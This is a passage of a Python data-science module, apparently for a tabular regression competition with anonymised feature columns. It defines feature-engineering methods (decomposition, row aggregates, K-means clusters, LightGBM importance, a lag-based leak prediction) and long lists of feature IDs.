'5ac7e84c4', '9bd66acf6', '4c938629c', 'e62c5ac64', '57535b55a', 'a1a0084e3', '2a3763e18', '474a9ec54', '0741f3757', '4fe8b17c2', 'd5754aa08'] # noqa 501
# features = ['f190486d6', '58e2e02e6', 'eeb9cd3aa', '9fd594eec', '6eef030c1', '15ace8c9f', 'fb0f5dbfe', '58e056e12', '20aa07010', '024c577b9', 'd6bb78916', 'b43a7cfd5', '58232a6fb', '1702b5bf0', '324921c7b', '62e59a501', '2ec5b290f', '241f0f867', 'fb49e4212', '66ace2992', 'f74e8f13d', '5c6487af1', '963a49cdc', '26fc93eb7', '1931ccfdd', '703885424', '70feb1494', '491b9ee45', '23310aa6f', 'e176a204a', '6619d81fc', '1db387535', 'fc99f9426', '91f701ba2', '0572565c2', '190db8488', 'adb64ff71', 'c47340d97', 'c5a231d81', '0ff32eb98'] # noqa 501
if dataset == 'test' or dataset == 'both':
new_test_df = self.test_df.filter(items=features)
if not return_only:
self.test_df = new_test_df
if dataset == 'train' or dataset == 'both':
features.append('target')
new_train_df = self.train_df.filter(items=features)
if not return_only:
self.train_df = new_train_df
if return_only:
if dataset == 'train':
return new_train_df
elif dataset == 'test':
return new_test_df
elif dataset == 'both':
return new_train_df, new_test_df
def to_sparse(self, dataset='both', verbose=True):
'''Transform datasets to sparse by removing zeros'''
if dataset == 'train' or dataset == 'both':
if verbose:
print('Dense memory usage: train = {}mb'.format(
self.train_df.memory_usage().sum() / 1024 / 1024))
self.train_df = self.train_df.replace(0, np.nan)
if verbose:
print('Sparse memory usage: train = {}mb'.format(
self.train_df.memory_usage().sum() / 1024 / 1024))
if dataset == 'test' or dataset == 'both':
if verbose:
print('Dense memory usage: test = {}mb'.format(
self.test_df.memory_usage().sum() / 1024 / 1024))
self.test_df = self.test_df.replace(0, np.nan)
if verbose:
print('Sparse memory usage: test = {}mb'.format(
self.test_df.memory_usage().sum() / 1024 / 1024))
def normalize_data(self, x, fit=True, verbose=True):
'''Normalize data taking sparsity into account'''
if fit:
self.scaler.fit(x)
x = self.scaler.transform(x)
if verbose:
print('Data normalized.')
return x
def reduce_dimensionality(self, dataset, n_components=None, red_num=None,
method='svd', fit=True, normalize=False,
verbose=True):
'''Reduce #red_num of features from the dataset'''
assert method in ['svd', 'srp', 'fa']
if dataset == 'train':
x = self.train_df.drop(["target"], axis=1).values
if normalize:
x = self.normalize_data(x, fit=True)
elif dataset == 'test':
x = self.test_df.values
if normalize:
x = self.normalize_data(x, fit=False)
if n_components is None:
n_components = x.shape[0] - red_num
elif n_components == -1:
n_components = 'auto'
red_num = 'Unkown'
else:
red_num = x.shape[0] - n_components
# When reducing test data fit must be False
if fit:
if method == 'svd':
self.reductor = TruncatedSVD(n_components=n_components)
elif method == 'srp':
self.reductor = SparseRandomProjection(
n_components=n_components)
elif method == 'fa':
self.reductor = FactorAnalysis(n_components=n_components)
self.reductor.fit(x)
x = self.reductor.transform(x)
if verbose:
print(red_num, ' less important features removed.')
print('Data new shape: ', x.shape)
return x
def add_decomposition_as_features(self, dataset='both', n_components=None,
method='svd', comp_stats=False,
verbose=True, normalize=False):
'''Perform feature decomposition and add as an aggregate'''
if dataset == 'train' or dataset == 'both':
train_agg = self.reduce_dimensionality(
dataset='train', n_components=n_components,
method=method, fit=True, normalize=normalize, verbose=verbose)
train_agg = pd.DataFrame(train_agg, index=self.train_df.index)
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if comp_stats:
train_agg = compute_row_aggregates(train_agg, prefix='dec')
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
test_agg = self.reduce_dimensionality(
dataset='test', n_components=n_components,
method=method, fit=False, normalize=normalize, verbose=verbose)
test_agg = pd.DataFrame(test_agg, index=self.test_df.index)
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
if comp_stats:
test_agg = compute_row_aggregates(test_agg, prefix='dec')
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def get_most_important_features(self, num=50, importance_type='split',
random_seed=43):
'''Get the column names for the most important features'''
assert importance_type in ['split', 'gain']
LightGBM_params = dict(num_leaves=53, lr=0.005, bagging_fraction=0.67,
max_depth=8, min_sum_hessian_in_leaf=1e-1,
feature_fraction=0.35, bagging_freq=3,
min_data_in_leaf=12,
use_missing=True, zero_as_missing=True,
lambda_l1=0.1, lambda_l2=1,
device='cpu', num_threads=8)
model = LightGBM(**LightGBM_params)
x, y = self.get_train_data(use_aggregates=False)
x_train, x_val, y_train, y_val = train_test_split(
x, y, test_size=0.2, random_state=random_seed)
model.fit(x_train, y_train, x_val, y_val, verbose=0)
most_important = model.model.feature_importance(
importance_type=importance_type)
index = np.argsort(most_important)[-num:]
return index
def compute_aggregates_for_all_features(self, dataset):
'''Compute aggregates for all features'''
if dataset == 'train' or dataset == 'both':
train_agg = compute_row_aggregates(
self.train_df.drop(["target"], axis=1), prefix='global')
# Add to aggregates
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
test_agg = compute_row_aggregates(
self.test_df, prefix='global')
# Add to aggregates
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def compute_time_series_aggregates(self, dataset):
if dataset == 'train' or dataset == 'both':
x, _ = self.get_data_as_time_series(dataset='train')
for i in range(x.shape[2]):
if i > 0:
continue
df = pd.DataFrame(x[:, :, i], index=self.train_df.index)
train_agg = compute_TS_aggregates(df, prefix='ts')
# Add to aggregates
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
x = self.get_data_as_time_series(dataset='test')
for i in range(x.shape[2]):
if i > 0:
continue
df = pd.DataFrame(x[:, :, i], index=self.test_df.index)
test_agg = compute_TS_aggregates(df, prefix='ts')
# Add to aggregates
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def compute_aggregates_for_selected_features(self, dataset):
'''Compute aggregate features for the hand selected features'''
if dataset == 'train' or dataset == 'both':
df = self.keep_only_selected_features('train', return_only=True)
train_agg = compute_row_aggregates(
df.drop('target', axis=1), prefix='hand_picked')
# Add to aggregates
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
df = self.keep_only_selected_features('test', return_only=True)
test_agg = compute_row_aggregates(
df, prefix='hand_picked')
# Add to aggregates
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def compute_aggregates_for_most_important(self, dataset, num=50,
importance_type='split',
random_seed=43):
'''Compute aggregate features for the most important features'''
index = self.get_most_important_features(num,
importance_type,
random_seed)
if dataset == 'train' or dataset == 'both':
features = self.train_df.drop('target', axis=1).values[:, index]
df = pd.DataFrame(features, index=self.train_df.index)
train_agg = compute_row_aggregates(
df, prefix='{}_most_important'.format(num))
# Add to aggregates
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
features = self.test_df.values[:, index]
df = pd.DataFrame(features, index=self.test_df.index)
test_agg = compute_row_aggregates(
df, prefix='{}_most_important'.format(num))
# Add to aggregates
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def compute_meta_aggregates(self, dataset='both'):
'''Compute aggregate features for the existing aggregate features'''
if dataset == 'train' or dataset == 'both':
train_agg = compute_row_aggregates(
self.train_agg, prefix='meta')
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
test_agg = compute_row_aggregates(
self.test_agg, prefix='meta')
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def compute_cluster_features(self, dataset='both',
iter_cluster=range(2, 11)):
'''Compute cluster centers using K-means'''
for n_cluster in iter_cluster:
if dataset == 'train' or dataset == 'both':
features = self.compute_Kmeans('train', n_cluster, fit=True)
train_agg = pd.DataFrame(
{'clusterIndex{}'.format(n_cluster): features},
index=self.train_df.index)
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if dataset == 'test' or dataset == 'both':
features = self.compute_Kmeans('test', n_cluster, fit=False)
test_agg = pd.DataFrame(
{'clusterIndex{}'.format(n_cluster): features},
index=self.test_df.index)
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def compute_Kmeans(self, dataset, n_cluster, fit=True, verbose=True):
'''Compute K_means algorithm on data'''
if dataset == 'train':
X = self.train_df.drop('target', axis=1).values
elif dataset == 'test':
X = self.test_df.values
if fit:
self.clusterizer = KMeans(n_clusters=n_cluster, n_jobs=-2)
self.clusterizer.fit(X)
cluster_index = self.clusterizer.predict(X)
# cluster_centers = self.clusterizer.cluster_centers_
# cluster_feat = np.array([cluster_centers[x, :] for x in
# cluster_index])
if verbose:
print('Clusters inertia: ', self.clusterizer.inertia_)
return cluster_index
def create_feature_as_targets(self):
'''Create new target using arg of the feat closer to target'''
for index, row in self.train_df.iterrows():
target = row.pop('target')
dists = abs(row.values - target)
self.train_df.at[index, 'target'] = np.argmin(dists)
def get_gibas_pred(self, dataset='train'):
# Need more features!!! Note that if we use
if dataset == 'train':
data = self.train_df
elif dataset == 'test':
data = self.test_df
features = ['f190486d6', '58e2e02e6', 'eeb9cd3aa', '9fd594eec',
'6eef030c1', '15ace8c9f', 'fb0f5dbfe', '58e056e12',
'20aa07010', '024c577b9', 'd6bb78916', 'b43a7cfd5',
'58232a6fb', '1702b5bf0', '324921c7b', '62e59a501',
'2ec5b290f', '241f0f867', 'fb49e4212', '66ace2992',
'f74e8f13d', '5c6487af1', '963a49cdc', '26fc93eb7',
'1931ccfdd', '703885424', '70feb1494', '491b9ee45',
'23310aa6f', 'e176a204a', '6619d81fc', '1db387535']
d1 = data[features[:-2]
].apply(tuple, axis=1).to_frame().rename(columns={0: 'key'})
d2 = data[features[2:]].apply(
tuple, axis=1).to_frame().rename(columns={0: 'key'})
d2['pred'] = data[features[0]]
d2 = d2[d2['pred'] != 0] # Keep?
d3 = d2[~d2.duplicated(['key'], keep='first')] # Need more features!
d = d1.merge(d3, how='left', on='key')
pred = d.pred.fillna(0)
log_pred = np.log1p(d.pred).fillna(0)
have_data = log_pred != 0
if dataset == 'train':
error = sqrt(mean_squared_error(
np.log1p(self.train_df.reset_index().target[have_data]),
log_pred[have_data]))
print(
f'Score={error} on {have_data.sum()} out of {self.train_df.shape[0]} training samples')
elif dataset == 'test':
print(f'Have predictions for {have_data.sum()} out of {self.test_df.shape[0]} test samples')
return pred
def get_data_as_time_series(self, dataset='train',
logloss=True, round_targets=False):
'''Get data as time-series using selected features'''
cols = [('f190486d6', '58e2e02e6', 'eeb9cd3aa', '9fd594eec', '6eef030c1', '15ace8c9f', 'fb0f5dbfe', '58e056e12', '20aa07010', '024c577b9', 'd6bb78916', 'b43a7cfd5', '58232a6fb', '1702b5bf0', '324921c7b', '62e59a501', '2ec5b290f', '241f0f867', 'fb49e4212', '66ace2992', 'f74e8f13d', '5c6487af1', '963a49cdc', '26fc93eb7', '1931ccfdd', '703885424', '70feb1494', '491b9ee45', '23310aa6f', 'e176a204a', '6619d81fc', '1db387535', 'fc99f9426', '91f701ba2', '0572565c2', '190db8488', 'adb64ff71', 'c47340d97', 'c5a231d81', '0ff32eb98'), ('06148867b', '4ec3bfda8', 'a9ca6c2f4', 'bb0408d98', '1010d7174', 'f8a437c00', '74a7b9e4a', 'cfd55f2b6', '632fed345', '518b5da24', '60a5b79e4', '3fa0b1c53', 'e769ee40d', '9f5f58e61', '83e3e2e60', '77fa93749', '3c9db4778', '42ed6824a', '761b8e0ec', 'ee7fb1067', '71f5ab59f', '177993dc6', '07df9f30c', 'b1c5346c4', '9a5cd5171', 'b5df42e10', 'c91a4f722', 'd93058147', '20a325694', 'f5e0f4a16', '5edd220bc', 'c901e7df1', 'b02dfb243', 'bca395b73', '1791b43b0', 'f04f0582d', 'e585cbf20', '03055cc36', 'd7f15a3ad', 'ccd9fc164'), ('0d7692145', '62071f7bc', 'ab515bdeb', 'c30c6c467', 'eab76d815', 'b6ee6dae6', '49063a8ed', '4cb2946ce', '6c27de664', '772288e75', 'afd87035a', '44f2f419e', '754ace754', 'e803a2db0', 'c70f77ef2', '65119177e', '3a66c353a', '4c7768bff', '9e4765450', '24141fd90', 'dc8b7d0a8', 'ba499c6d9', '8b1379b36', '5a3e3608f', '3be3c049e', 'a0a3c0f1b', '4d2ca4d52', '457bd191d', '6620268ab', '9ad654461', '1a1962b67', '7f55b577c', '989d6e0f5', 'bc937f79a', 'e059a8594', '3b74ac37b', '555265925', 'aa37f9855', '32c8b9100', 'e71a0278c'), ('0f8d7b98e', 'c30ff7f31', 'ac0e2ebd0', '24b2da056', 'bd308fe52', '476d95ef1', '202acf9bd', 'dbc0c19ec', '06be6c2bb', 'd8296080a', 'f977e99dc', '2191d0a24', '7db1be063', '1bc285a83', '9a3a1d59b', 'c4d657c5b', 'a029667de', '21bd61954', '16bf5a9a2', '0e0f8504b', '5910a3154', 'ba852cc7a', '685059fcd', '21d6a4979', '78947b2ad', '1435ecf6b', '3839f8553', 'e9b5b8919', 'fa1dd6e8c', '632586103', 'f016fd549', 'c25ea08ba', '7da54106c', 'b612f9b7e', 'e7c0a50e8', '29181e29a', '395dbfdac', '1beb0ce65', '04dc93c58', '733b3dc47'), ('1847c8140', '4adae02ea', '06f44eb79', '63dfd4552', '2a1f6c7f9', 'b3655056c', '7a5460b56', '8909db7d5', 'b0e2acd8e', '7cb53a29a', '5d5c5ce6d', 'a5874086d', '281c556a6', '04fe69e6a', 'e421c414e', '87e6b35f2', '1de239e78', 'c65451871', 'b136976cc', 'baa676f41', '82f194d54', 'f3b9c0b95', '2a83c3267', '802ee804e', '99b88d0fd', 'a257e4bb9', '741684fb0', 'fae0ce474', '16d7bff2b', '0d6d7ec0b', 'bdadd6c34', 'b6623bacf', 'a77b4afa4', '03490ef8c', 'f0aec6c6b', '7b6e769e4', 'ce6349807', '1602cb35d', '279d380ce', '63895c382'), ('18cad608c', '05f1b68b8', '9e0c57b34', '414b74eaa', '3b6f67b0e', '372daeab0', 'ec827621a', '44d132265', '850d3a6f5', '440d789c5', 'e9c45d66f', '615cc4c17', 'ca04a07ca', '4685cc47b', '6cf9184bb', '3dc46e323', '0106dd950', '3855aef1e', 'c9eda7d9c', 'ac308c9a3', '964cd68bc', 'f23b7530c', '7250feb72', '6809065b9', 'c7fd9abc6', '06a1c3b47', '39896d3dd', '10f17bd3e', '6984f4045', 'ed8ff54b5', '42b407f0d', '5509e2e98', 'c593d73e8', 'd3245937e', 'cbeddb751', '0f81cc1d2', '22b3971f5', 'ff3ebf76b', '76a75bd91', '258412544'), ('1ad24da13', '8c5025c23', 'f52a82e7f', 'c0b22b847', 'd75793f21', '4cffe31c7', '6c2d09fb1', 'fb42abc0d', '206ba1242', '62f61f246', '1389b944a', 'd15e80536', 'fa5044e9e', 'a0b0a7dbf', '1ff6be905', '4e06c5c6d', '1835531cd', '68b647452', 'c108dbb04', '58e8e2c82', 'f3bfa96d5', 'f2db09ac3', '4e8196700', '8cd9be80e', '83fc7f74c', 'dbc48d37c', '2028e022d', '17e160597', 'eb8cbd733', 'addb3f3eb', '460744630', '9108ee25c', 'b7950e538', 'a7da4f282', '7f0d863ba', 'b7492e4eb', '24c41bd80', 'fd7b0fc29', '621f71db3', '26f222d6d'), ('1d9078f84', '64e483341', 'a75d400b8', '4fe8154c8', '29ab304b9', '20604ed8f', 'bd8f989f1', 'c1b9f4e76', '4824c1e90', '4ead853dc', 'b599b0064', 'd26279f1a', '58ed8fb53', 'ff65215db', '402bb0761', '74d7998d4', 'c7775aabf', '9884166a7', 'beb7f98fd', 'fd99c18b5', 'd83a2b684', '18c35d2ea', '0c8063d63', '400e9303d', 'c976a87ad', '8a088af55', '5f341a818', '5dca793da', 'db147ffca', '762cbd0ab', 'fb5a3097e', '8c0a1fa32', '01005e5de', '47cd6e6e4', 'f58fb412c', 'a1db86e3b', '50e4f96cf', 'f514fdb2e', '7a7da3079', 'bb1113dbb'), ('20868afc1', 'a46587cda', 'acdef5318', 'a72fcabd8', '21216a0a8', 'dd16bb1ff', '3b8208d28', 'a8c320153', '4a6f8b2c1', 'ac2392a17', '08565b519', '6035df6d8', '4b2316bd5', 'bc3f77679', '51ebff825', '43727fb35', 'c0d363088', 'fd1187d68', '207871d87', '7e0fd6d92', 'f4e243e21', '037a54e89', 'cfa24e4be', 'd7f1f9e52', '6760927a0', '0d8f892fe', '09e395f05', 'bcc18dd40', '0f5fb7fe7', 'f10717d56', '717039eef', '41fb39de4', '965fa6747', '75e55b7a9', 'ff08cfbbe', '9e88cfd02', 'df3ac443c', '7acda93e6', '62e587225', 'd313c892b'), ('2135fa05a', 'e8a3423d6', '90a438099', '7ad6b38bd', '60e45b5ee', '2b9b1b4e2', 'd6c82cd68', '923114217', 'b361f589e', '04be96845', 'ee0b53f05', '21467a773', '47665e3ce', 'a6229abfb', '9666bfe76', '7dcc40cda', '17be6c4e7', 'a89ab46bb', '9653c119c', 'cc01687d0', '60e9cc05b', 'ffcec956f', '51c250e53', '7344de401', 'a15b2f707', 'a8e607456', 'dbb8e3055', '2a933bcb8', 'b77bc4dac', '58d9f565a', '17068424d', '7453eb289', '027a2206a', '343042ed9', 'c8fb3c2d8', '29eddc376', '1c873e4a6', '588106548', '282cfe2ad', '358dc07d0'), ('266525925', '4b6dfc880', '2cff4bf0c', 'a3382e205', '6488c8200', '547d3135b', 'b46191036', '453128993', '2599a7eb7', '2fc60d4d9', '009319104', 'de14e7687', 'aa31dd768', '2b54cddfd', 'a67d02050', '37aab1168', '939cc02f5', '31f72667c', '6f951302c', '54723be01', '4681de4fd', '8bd53906a', '435f27009', 'f82167572', 'd428161d9', '9015ac21d', 'ec4dc7883', '22c7b00ef', 'd4cc42c3d', '1351bf96e', '1e8801477', 'b7d59d3b5', 'a459b5f7d', '580f5ff06', '39b3c553a', '1eec37deb', '692c44993', 'ce8ce671e', '88ef1d9a8', 'bf042d928'), ('2d60e2f7a', '11ad148bd', '54d3e247f', 'c25438f10', 'e6efe84eb', '964037597', '0196d5172', '47a8de42e', '6f460d92f', '0656586a4', '22eb11620', 'c3825b569', '6aa919e2e', '086328cc6', '9a33c5c8a', 'f9c3438ef', 'c09edaf01', '85da130e3', '2f09a1edb', '76d34bbee', '04466547a', '3b52c73f5', '1cfb3f891', '704d68890', 'f45dd927f', 'aba01a001', 'c9160c30b', '6a34d32d6', '3e3438f04', '038cca913', '504c22218', '56c679323', '002d634dc', '1938873fd', 'd37030d36', '162989a6d', 'e4dbe4822', 'ad13147bd', '4f45e06b3', 'ba480f343'), ('32313055b', '1cec80910', 'd5de50af2', 'd08c4204c', 'dbf75ea9f', 'b93c33953', '425c08bf3', '015c3e354', '26419fa97', '0b9a18ebf', 'bbd7e6282', '6fec5a793', 'e4eac6fc5', '99ea04b86', '24292d615', '72ad5471c', '2f489369f', '35d9497eb', '42d321127', '48aa6d627', '94516b63e', '55d7eb6d2', '8dbd95b8d', '1d2df346e', '181e91b1c', '4a29bc92b', '0f14ab429', '22b3a9853', 'defcc2c50', '6a9e2b09d', '42b795e64', 'b65627fab', '7af2b8f44', '1ce5f7bde', 'dd2fc85d7', '013127235', '916d17652', 'a697e9248', '24addf864', 'a63aaf7cc'), ('3391c0af1', 'd8e951a15', '320c3880a', '37bd241bb', 'ef6fab1bc', '39d765b49', 'c0f2800fc', '9401c82a9', '6f9d256a9', 'f967f827b', '798a8e92e', '1e991f09b', '77854931e', '0024cd760', 'ab7b12083', '7b8ac394f', 'd8aa77bcc', '54b3d6afc', '4c6a1accd', '0a7ef2f9b', 'dc3b4460b', '83ce5d80d', '7e293fbaf', '8d468092c', 'dc0118d47', '9f8df01bd', '3f02111a8', 'bf0195c11', '28bc37378', '05410a84f', 'ecdc88e4b', '8d9263a24'), ('3391c0af1', 'd8e951a15', '320c3880a', '37bd241bb', 'ef6fab1bc', '39d765b49', 'c0f2800fc', '9401c82a9', '6f9d256a9', 'f967f827b', '798a8e92e', '1e991f09b', '77854931e', '0024cd760', 'ab7b12083', '7b8ac394f', 'd8aa77bcc', '54b3d6afc', '4c6a1accd', '0a7ef2f9b', 'dc3b4460b', '83ce5d80d', '7e293fbaf', '8d468092c', 'dc0118d47', '9f8df01bd', '3f02111a8', 'bf0195c11', '28bc37378', '05410a84f', 'ecdc88e4b', '8d9263a24', 'e234cdc9b', '380d54fad', '7f17e0b2a', '03e726456', '8f66157e3', '556fb6bc0', '2d2114d9b', '215ffb087'), ('3b843ae7e', 'c8438b12d', 'd1b9fc443', '19a45192a', '63509764f', '6b6cd5719', 'b219e3635', '4b1d463d7', '4baa9ff99', 'b0868a049', '3e3ea106e', '043e4971a', 'a2e5adf89', '25e2bcb45', '3ac0589c3', '413bbe772', 'e23508558', 'c1543c985', '2dfea2ff3', '9dcdc2e63', '1f1f641f1', '75795ea0a', 'dff08f7d5', '914d2a395', '00302fe51', 'c0032d792', '9d709da93', 'cb72c1f0b', '5cf7ac69f', '6b1da7278', '47b5abbd6', '26163ffe1', '902c5cd15', '45bc3b302', '5c208a931', 'e88913510', 'e1d6a5347', '38ec5d3bb', 'e3d64fcd7', '199d30938'), ('4302b67ec', '75b663d7d', 'fc4a873e0', '1e9bdf471', '86875d9b0', '8f76eb6e5', '3d71c02f0', '05c9b6799', '26df61cc3', '27a7cc0ca', '9ff21281c', '3ce93a21b', '9f85ae566', '3eefaafea', 'afe8cb696', '72f9c4f40', 'be4729cb7', '8c94b6675', 'ae806420c', '63f493dba', '5374a601b', '5291be544', 'acff85649', '3690f6c26', '26c68cede', '12a00890f', 'dd84964c8', 'a208e54c7', 'fb06e8833', '7de39a7eb', '5fe3acd24', 'e53805953', '3de2a9e0d', '2954498ae', '6c3d38537', '86323e98a', 'b719c867c', '1f8a823f2', '9cc5d1d8f', 'd3fbad629'), ('44df9c106', 'c768b2fbd', 'ca667c723', '1a9b9e2fe', 'e3a41c199', '1529e64f6', '2af3668d1', '85505df26', 'b488b6a67', '4e593c1c5', '47aab5d12', 'b0c596a35', '2127bb611', 'c8c4ef2e5', '665493ecc', '235163358', '932d0f56b', '9ce50845b', 'aca96197c', '74fa547c6', 'b6636b458', '95bbebdd4', 'de0aaf6f4', '7106396d7', 'fb2ab1513', '346c04a64', '5271beb00', 'e8b599c85', 'de5e5b296', '90e069c70', 'a939664aa', 'e8f43b3ab', 'df5f5272a', 'df3cf10bd', '71659d45d', '03b8b1f2d', '860a95ef6', '7f174450b', 'bbbff9657', '1d9b78b9c'), ('4569d5378', '22f05c895', '5fad07863', 'f32763afc', '9bb02469c', '61063fa1c', '4a93ad962', 'fa1efdadd', '4ef309fc3', 'ed0860a34', '6ae0787f3', 'ffd50f0bf', '704e2dc55', '1b1a893f5', 'b19e65a65', '8d4b52f9a', '85dcc913d', '92ba988e1', '6d46740f1', '0aab2f918', '6610f90f1', 'a235f5488', 'c5c073bb0', '13f7f9c70', 'fb6da0420', '73361d959', '783ee6e9a', '635fbbd2c', '60cd556c9', '150504397', 'f3b6dabf7', 'd92ea0b2a', 'b904b8345', '78bc2558b', '4e1a8f6eb', 'c89ae4ce0', 'f2af9300f', 'ca25aad9f', '9d435a85b', '8d035d41e'), ('48b839509', '2b8851e90', '28f75e1a5', '0e3ef9e8f', '37ac53919', '7ca10e94b', '4b6c549b1', '467aa29ce', '74c5d55dc', '0700acbe1', '44f3640e4', 'e431708ff', '097836097', 'd1fd0b9c2', 'a0453715a', '9e3aea49a', '899dbe405', '525635722', '87a2d8324', 'faf024fa9', 'd421e03fd', '1254b628a', 'a19b05919', '34a4338bc', '08e89cc54', 'a29c9f491', 'a0a8005ca', '62ea662e7', '5fe6867a4', '8b710e161', '7ab926448', 'd04e16aed', '4e5da0e96', 'ff2c9aa8f', 'b625fe55a', '7124d86d9', '215c4d496', 'b6fa5a5fd', '55a7e0643', '0a26a3cfe'), ('5030aed26', 'b850c3e18', '212efda42', '9e7c6b515', '2d065b147', '49ca7ff2e', '37c85a274', 'ea5ed6ff7', 'deabe0f4c', 'bae4f747c', 'ca96df1db', '05b0f3e9a', 'eb19e8d63', '235b8beac', '85fe78c6c', 'cc507de6c', 'e0bb9cf0b', '80b14398e', '9ca0eee11', '4933f2e67', 'fe33df1c4', 'e03733f56', '1d00f511a', 'e62cdafcf', '3aad48cda', 'd36ded502', '92b13ebba', 'f30ee55dd', '1f8754c4e', 'db043a30f', 'e75cfcc64', '5d8a55e6d', '6e29e9500', 'c5aa7c575', 'c2cabb902', 'd251ee3b4', '73700eaa4', '8ab6f5695', '54b1c1bc0', 'cbd0256fb'), ('50603ae3d', '48282f315', '090dfb7e2', '6ccaaf2d7', '1bf2dfd4a', '50b1dd40f', '1604c0735', 'e94c03517', 'f9378f7ef', '65266ad22', 'ac61229b6', 'f5723deba', '1ced7f0b4', 'b9a4f06cd', '8132d18b8', 'df28ac53d', 'ae825156f', '936dc3bc4', '5b233cf72', '95a2e29fc', '882a3da34', '2cb4d123e', '0e1921717', 'c83d6b24d', '90a2428a5', '67e6c62b9', '320931ca8', '900045349', 'bf89fac56', 'da3b0b5bb', 'f06078487', '56896bb36', 'a79522786', '71c2f04c9', '1af96abeb', '4b1a994cc', 'dee843499', '645b47cde', 'a8e15505d', 'cc9c2fc87'), ('509e911f0', '9c36a77b3', '50aaba7f1', 'ed5af35f0', 'ffd2f9409', 'd6a122efd', '30768bc79', '9161061c9', '1fbbd4edf', '9a179ed71', '6a055c4fb', '61efa1e29', 'e171bccbe', 'd7cdd8aef', 'd168174c7', 'b791ce9aa', '1a82869a6', '3696a15a7', '7b31055f1', 'a76ad8513', '82ba7a053', '37426563f', 'ba5bbaffc', 'd3022e2f1', '0ccd5ff1c', '31a3f920c', '86eb6ec85', '38df6c628', 'f1fbe249b', '6d0d72180', '22dbe574a', '5860d7fa9', '455f29419', 'f269ec9c8', '75aad4520', '18c0b76e9', 'dae4d14b4', '0cad4d7af', '1e1cb47f3', '9d6410ef5'), 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'7e3e026f8', '37c10d610', '5a88b7f01', '324e49f36', '99f466457'), ('ced6a7e91', '9df4daa99', '83c3779bf', 'edc84139a', 'f1e0ada11', '73687e512', 'aa164b93b', '342e7eb03', 'cd24eae8a', '8f3740670', '2b2a10857', 'a00adf70e', '3a48a2cd2', 'a396ceeb9', '9280f3d04', 'fec5eaf1a', '5b943716b', '22ed6dba3', '5547d6e11', 'e222309b0', '5d3b81ef8', '1184df5c2', '2288333b4', 'f39074b55', 'a8b721722', '13ee58af1', 'fb387ea33', '4da206d28', 'ea4046b8d', 'ef30f6be5', 'b85fa8b27', '2155f5e16', '794e93ca6', '070f95c99', '939f628a7', '7e814a30d', 'a6e871369', '0dc4d6c7d', 'bc70cbc26', 'aca228668'), ('d0d340214', '34d3715d5', '9c404d218', 'c624e6627', 'a1b169a3a', 'c144a70b1', 'b36a21d49', 'dfcf7c0fa', 'c63b4a070', '43ebb15de', '1f2a670dd', '3f07a4581', '0b1560062', 'e9f588de5', '65d14abf0', '9ed0e6ddb', '0b790ba3a', '9e89978e3', 'ee6264d2b', 'c86c0565e', '4de164057', '87ba924b1', '4d05e2995', '2c0babb55', 'e9375ad86', '8988e8da5', '8a1b76aaf', '724b993fd', '654dd8a3b', 'f423cf205', '3b54cc2cf', 'e04141e42', 'cacc1edae', '314396b31', '2c339d4f2', '3f8614071', '16d1d6204', '80b6e9a8b', 'a84cbdab5', '1a6d13c4a'), ('d48c44c49', 'e926d89d3', '4c0845957', '892f6f03e', '61b88b77a', '207021f50', 'bb12b7d99', 'e17a13988', 'bfe5872ea', '788e6045c', '8291f21d8', '36ba6bac3', '66e323ce9', 'a05f1bb14', 'b379107b3', '084031585', '571380d69', '640a36efb', '5a53ebb69', '33288f3b2', '32138f717', 'dd4649092', '8f993c285', '7b58b1340', 'a3fb71dbd', '773c101b5', '7f6e612c7', '122df5341', 'f95a762b0', '052f67cfa', 'c03c8799c', 'a3ef40228', 'e0ceabad4', '3c27b0b28', 'd833db6e1', '9303c6806', '36d35623e', '208308a47', '2f587f6a4', '23099cfb2'), ('df03d1653', '7fd35c77a', '133e6f674', '643ef6977', '9539d34c8', '9d2835f75', 'acc744336', 'c8a66413e', 'b80f3eab2', '437ff8730', 'e289bbcc3', 'dd48ed481', '90db65912', '9eab942f8', '753e0a307', '5e1085022', 'a4529b4ef', 'c9c6b51aa', '1346d1df0', '0a9735aba', '64226e620', 'de5e74ae7', 'd00f7d768', 'b4e4a184a', 'ef139d7ac', 'a6f5de07f', 'cb9333bd7', '4dfa4bc61', '5089bf842', '6f44294b2', 'ae1bd05ee', 'f807767c5', '067bcb836', 'd1cf68555', 'e5499c39d', '0bb06f4b5', 'b6336ff10', 'a84bafe34', '3e37bffde', '093b92da5'), ('df838756c', '2cb73ede7', '4dcf81d65', '61c1b7eb6', 'a9f61cf27', '1af4d24fa', 'e13b0c0aa', 'b9ba17eb6', '796c218e8', '37f57824c', 'd1e0f571b', 'f9e3b03b7', 'a3ef69ad5', 'e16a20511', '04b88be38', '99e779ee0', '9f7b782ac', '1dd7bca9f', '2eeadde2b', '6df033973', 'cdfc2b069', '031490e77', '5324862e4', '467bee277', 'a3fb07bfd', '64c6eb1cb', '8618bc1fd', '6b795a2bc', '956d228b9', '949ed0965', 'a4511cb0b', 'b64425521', '2e3c96323', '191e21b5f', 'bee629024', '1977eaf08', '5e645a169', '1d04efde3', '8675bec0b', '8337d1adc'), ('e1c250dbf', '81e3fed66', '4fc9da4e3', '175891ff4', '0b2e88d2d', '006e72749', 'f29217d2f', 'f6240919f', '232ecc840', 'd4087a281', '398cdc105', '3b67e9641', '73eeb092f', '06283f348', 'd7db08081', '2585a26fe', 'da59aa67e', '638d0b2e0', 'afc08501b', 'd974e8584', '433d408b2', '0989e152f', '357784061', '2e22a32fd', '184166328', '81f4bc3d8', 'd9fbf30dd', '5d52b2d2b', 